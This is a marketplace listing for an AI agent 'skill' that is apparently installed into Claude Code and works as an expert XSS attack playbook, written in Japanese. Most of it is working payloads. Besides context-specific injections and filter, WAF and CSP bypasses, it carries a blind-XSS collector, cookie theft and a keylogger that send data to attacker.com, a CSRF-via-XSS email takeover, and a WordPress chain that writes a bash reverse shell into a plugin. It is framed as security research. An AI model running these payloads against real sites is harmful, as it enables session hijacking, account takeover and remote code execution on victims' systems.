mcpField
X
xss-cross-site-scripting

xss-cross-site-scripting

github.com/yaklangセキュリティ2.6k4.0k 回インストール6 週間前に更新
リポジトリ

xss-cross-site-scripting について

セキュリティ研究者向けの高度な XSS 手引きです。コンテキストに応じた検証、フィルターや CSP の回避、侵入後の手法を扱い、別資料で追加のシナリオや技術を説明します。

主な機能

  1. 01コンテキスト別のペイロード選択
  2. 02複数箇所への反射と格納型 XSS
  3. 03CSP とフィルターの回避手法
  4. 04ブラインド XSS のテスト
  5. 05侵入後の手法

活用シーン

  1. 01Web ページの反射入力を評価
  2. 02管理画面で格納データをテスト
  3. 03CSP 制約下の注入を調査
  4. 04ブラインド XSS の有無を確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill xss-cross-site-scripting

インストール後、Claude Code で/xss-cross-site-scriptingを入力して読み込まれたか確認します。

同梱ファイルADVANCED_XSS_TRICKS.mdSCENARIOS.md

詳細

スキル:クロスサイトスクリプティング(XSS)— エキスパート向け攻撃プレイブック

AI 読み込み指示:このスキルでは、一般には知られていない XSS 手法、コンテキストに応じたペイロードの選択、WAF の回避、CSP の回避、侵害後の活動について説明します。読者はすでに <script>alert(1)</script> を理解しているものとします。このファイルでは、基本的なモデルが通常見落とす内容のみを扱います。実際の CVE 事例、HttpOnly の回避戦略、XS-Leaks のサイドチャネル、セッション固定攻撃については、関連する SCENARIOS.md を読み込んでください。

0. 関連するルーティング

拡張シナリオ

次の内容が必要な場合は、SCENARIOS.md も読み込んでください。

  • Django デバッグページの XSS(CVE-2017-12794)— 重複キーエラー → エスケープされていない例外 → XSS
  • レガシー IE 環境向けの UTF-7 XSS(+ADw-script+AD4-)
  • HttpOnly 回避の手法 — ブラウザーのプロキシ、セッションライディング、XSS 経由の CSRF
  • XS-Leaks のサイドチャネル攻撃 — タイミングオラクル、キャッシュの調査、performance.now() による計測
  • XSS を介したセッション固定 — 被害者のログイン前にセッション ID を設定
  • CSP 制限環境向けの DOM クラバリング手法
高度なテクニック

次の内容が必要な場合は、ADVANCED_XSS_TRICKS.md も読み込んでください。

  • mXSS / DOMPurify の回避 — 名前空間の混同、<noscript> の解析差異、フォーム/テーブルの再構成
  • DOM クラバリング — id/name によるプロパティの上書き、HTMLCollection、深いプロパティチェーン
  • 最新のフレームワークにおける XSS — React の dangerouslySetInnerHTML、Vue の v-html、Angular の bypassSecurityTrust*、Next.js SSR
  • Trusted Types の回避 — デフォルトポリシーの悪用、非 TT シンク、ポリシーのパススルー
  • Service Worker による XSS の永続化 — 悪意のある SW の登録、フェッチの傍受、パッチ適用後の存続
  • PDF/SVG/MathML の XSS ベクター、ポリグロットペイロード、ブラウザー固有のテクニック
  • XS-Leaks とサイドチャネル — タイミングオラクル、フレーム数の計測、キャッシュの調査、エラーイベントオラクル

ペイロードを広範囲に試す前に、まず次を読み込むことができます。

  • アップロードの全経路(検証、保存、プレビュー、共有の動作)が必要な場合は、upload insecure files
コンテキスト別のクイック選択
コンテキスト最初に試すもの代替
HTML 本文<svg onload=alert(1)><img src=1 onerror=alert(1)>
引用符付き属性" autofocus onfocus=alert(1)//" onmouseover=alert(1)//
JavaScript 文字列'-alert(1)-''</script><svg onload=alert(1)>
URL/href シンクjavascript:alert(1)data:text/html,<svg onload=alert(1)>
title などのタグ本文</title><svg onload=alert(1)></textarea><svg onload=alert(1)>
SVG/XML シンク<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>XHTML 名前空間ペイロード
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>

1. インジェクションコンテキストの一覧

ペイロードを選ぶ前にコンテキストを特定してください。コンテキストを間違えると、試行が無駄になります。

コンテキスト識別方法開始方法ペイロード
タグ外の HTML<b>INPUT</b><svg onload=<svg onload=alert(1)>
HTML 属性値value="INPUT"" で属性を閉じる"onmouseover=alert(1)//
タグを閉じないインライン属性引用符付き、> が除去されるイベントをインジェクション"autofocus onfocus=alert(1)//
ブロックタグ(title/script/textarea)<title>INPUT</title>まずタグを閉じる</title><svg onload=alert(1)>
href/src/data/actionリンクまたはフォームプロトコルjavascript:alert(1)
JavaScript 文字列(シングルクォート)var x='INPUT'文字列を抜ける'-alert(1)-' または '-alert(1)//
エスケープされた JavaScript 文字列バックスラッシュによるエスケープ二重エスケープ\'-alert(1)//
JavaScript の論理ブロックif/関数内閉じてからインジェクション'}alert(1);{'
ページ上の任意の JavaScript<script>...INPUTscript を抜ける</script><svg onload=alert(1)>
XML ページ(text/xml)XML の content-typeXML 名前空間<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

2. 複数箇所への反映を利用した攻撃

入力が同じページの複数箇所に反映される場合、1 つのペイロードですべての箇所から実行できます。


'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*


*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='


p=<svg/1='&q='onload=alert(1)>

3. 高度なインジェクションベクター

DOM 挿入インジェクション(反射がソースではなく DOM にある場合)

.innerHTML、document.write、jQuery の .html() を介して入力が挿入されます:

<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>

URL で制御されるリソース挿入の場合:

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
PHP_SELF パスインジェクション

URL 自体がフォームの action に反映される場合:

https://target.com/page.php/"><svg onload=alert(1)>?param=val

先頭に / を付けて、.php と ? の間にインジェクションします。

ファイルアップロード XSS

ファイル名インジェクション(ファイル名が反映される場合):

"><svg onload=alert(1)>.gif

SVG アップロード(SVG を受け付ける画像アップロードを介した格納型 XSS):

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

メタデータインジェクション(EXIF が反映される場合):

exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
postMessage XSS(オリジンチェックなし)

オリジン検証なしで window.addEventListener('message', ...) があるページの場合:

<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
postMessage オリジンバイパス

オリジンがチェックされているものの、.includes() またはプレフィックス一致を使用している場合:

http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>

攻撃者は facebook.com.ATTACKER.com サブドメインを制御します。

XML ベースの XSS

レスポンスが text/xml または application/xml の場合:

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
閉じタグを使わないスクリプトインジェクション

ページの後方に </script> タグがある場合:

<script src=data:,alert(1)>
<script src=//attacker.com/1.js>

4. CSP バイパステクニック

JSONP エンドポイントのバイパス(許可リストのドメインに JSONP がある場合)
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
AngularJS CDN のバイパス(許可リストに ajax.googleapis.com がある場合)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
Angular 式(サーバーが HTML をエンコードするものの、AngularJS が評価する場合)

ページ上で {{1+1}} が 2 と評価される場合 — CSTI の典型的な兆候です:

// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
base-uri インジェクション(CSP に base-uri 制限がない場合)
<base href="https://attacker.com/">

相対パスの <script src=...> は攻撃者のサーバーから読み込まれます。

ダングリングマークアップを介した DOM ベースの攻撃

CSP がスクリプトをブロックするものの、img は許可している場合:

<img src='https://attacker.com/log?

後続のページコンテンツを攻撃者に漏えいさせます。


5. フィルターと WAF のバイパス

パラメーター名攻撃(WAF が値をチェックし、名前をチェックしない場合)

パラメーター名が反映される場合(例:JSON 出力内):

?"></script><base%20c%3D=href%3Dhttps:\mysite>

ペイロードは値ではなく、パラメーター名です。

エンコードの連鎖
%253C  → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag

テスト手順:反射 → エンコードの挙動 → フィルターロジックの特定 → 変更。

タグの変異(ブラックリストのバイパス)
<ScRipt>  ← case variation
</script/x>  ← trailing garbage
<script  ← incomplete (relies on later >)
<%00iframe  ← null byte
<svg/onload=  ← slash instead of space
分割インジェクション(タグ除去のバイパス)

フィルターが <x>...</x> を除去する場合:

"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
イベントハンドラーを使わないベクター
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<math><brute href=javascript:alert(1)>click

6. セカンドオーダー XSS

定義:入力が保存され(多くの場合、正規化または HTML エンコードされます)、後で再取得されて、再エンコードされずに DOM に挿入されます。

典型的なトリガーペイロード(即時の HTML エンコードをバイパス):

&lt;svg/onload&equals;alert(1)&gt;

確認箇所:プロフィール欄、表示名、フォーラム投稿など、データが保存された後、異なるコンテキスト(例:管理パネルとユーザー向け画面)で再レンダリングされる場所を確認します。

格納型 → 管理者コンテキストの XSS:最も影響が大きい攻撃です — 細工したユーザー名で登録し、管理者がユーザー一覧を表示するのを待ちます。


7. ブラインド XSS の手法

すぐには反映されないすべてのパラメーターで、ブラインド XSS をテストする必要があります:

  • お問い合わせフォーム、フィードバック欄
  • User-Agent / Referer
  • 登録欄
  • エラーログへのインジェクション

ブラインド XSS コールバックペイロード(リモート JS ファイルを使う方法):

"><script src=//attacker.com/bxss.js></script>

最小限のコレクター(bxss.js でホスト):

var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));

自動収集には XSS Hunter または同様のブラインド XSS プラットフォームを使用します。


8. XSS のエクスプロイトチェーン

Cookie の窃取
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
キーロガー
document.onkeypress = function(e) {
    fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
XSS を介した CSRF(CSRF 保護をバイパスし、DOM から CSRF トークンを読み取る)
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('[email protected]&csrf='+token);
WordPress XSS → RCE(管理者セッション + Hello Dolly プラグイン):
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
    '&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
ブラウザーのリモート操作(JS コマンドシェル)
// Injected into victim:
setInterval(function(){
    with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done

9. 判断ツリー

Test XSS entry point
├── Input reflected in response?
│   ├── YES → Identify context (HTML / JS / attr / URL)
│   │         → Select context-appropriate payload
│   │         → If blocked → check filter behavior
│   │         │   → Try encoding, case mutation, fragmentation
│   │         │   → Check if parameter NAME is reflected (WAF gap)
│   │         └── Success → escalate (cookie steal / CSRF / RCE)
│   └── NO  → Is it stored? → Inject blind XSS payload
│             Is it in DOM? → Check JS source for unsafe sinks
│                             (innerHTML, eval, document.write, location.href)
└── CSP present?
    ├── Check for JSONP endpoints on allow-listed domains
    ├── Check for AngularJS on CDN allow-list
    ├── Check for base-uri missing → <base> injection
    └── Check for unsafe-eval or unsafe-inline exceptions

10. XSS テストプロセス(ZSEANO メソッド)

  1. Step 1 — 悪意のないタグをテストします:<h2>、<img>、<table>。そのまま反映されますか?
  2. Step 2 — 不完全なタグをテストします:<iframe src=//attacker.com/c=(閉じる > なし)
  3. Step 3 — エンコーディングのプローブ:<%00h2、%0d、%0a、%09、%253C
  4. Step 4 — <script> と onerror はフィルタリングされるが、<script (閉じタグなし)はフィルタリングされない場合:<script src=//attacker.com?c=
  5. Step 5 — ブラックリストを確認します:<svg> は動作しますか?<ScRiPt> は動作しますか?
  6. 注:同じフィルターがほかの場所にも存在する可能性が高いです。検索で <script> をフィルタリングしている場合、ファイルアップロードのファイル名やプロフィールの自己紹介でもフィルタリングしていますか?

重要な洞察:フィルターが存在するということは、脆弱性があり、開発者がパッチを試みたということです。アプリケーション全体でその手掛かりを追ってください。

コメント